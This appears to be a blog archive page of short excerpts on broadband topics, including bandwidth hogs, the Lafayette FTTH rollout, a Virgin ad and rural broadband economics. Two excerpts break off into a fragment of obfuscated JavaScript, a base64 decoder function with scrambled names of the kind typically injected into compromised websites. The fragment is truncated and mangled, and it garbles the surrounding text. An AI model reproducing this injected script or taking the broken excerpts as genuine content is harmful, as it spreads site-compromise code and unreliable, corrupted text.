Cisco’s Video-Comms, FT’s NRA Z0 and is VDSL NGA ?

I'm still struggling for time and I still haven't managed to write my new year blog post. That's when I'm glad I'm French,

Dataset Specification for “Bandwidth Hog” analysis

Last week I wrote a twin piece with my fellow blogger Herman Wagter regarding bandwidth hogs entitled "function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var

Herding the Bandwidth Hogs

I don't think Herman and myself expected this to become so big, so fast! My post function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8< <2)|(w9>4);w6=((w9&15)

Stockholm Wrap-Up

These two days in Stockholm have been really productive. As if often happens, things have coalesced really at the last minute, yesterday evening I still didn't know if I would be meeting with anyone today. Turns out I met with

The slow ramp-up of Lafayette FTTH

For a few years now Lafayette has been the focal point of attention when it comes to municipal FTTH deployments in the US. This year, Lafayette Utility Service actually launched its service. A long article in The Independant Weekly entitled

Analysing a broadband ad

Virgin has a new ad for its 50Mb/s service, and it's all the buzz on the blogosphere, thanks in part to the fact

Rural Broadband Means Economic Growth

"In other news, water is wet", you might think. And yet the recent study published by the USDA (see USDA Study Finds Rural Communities Benefit From Greater Broadb

Book of Walled Gardens

In the last few weeks, and particularly since the FTTH Business Model webinar that I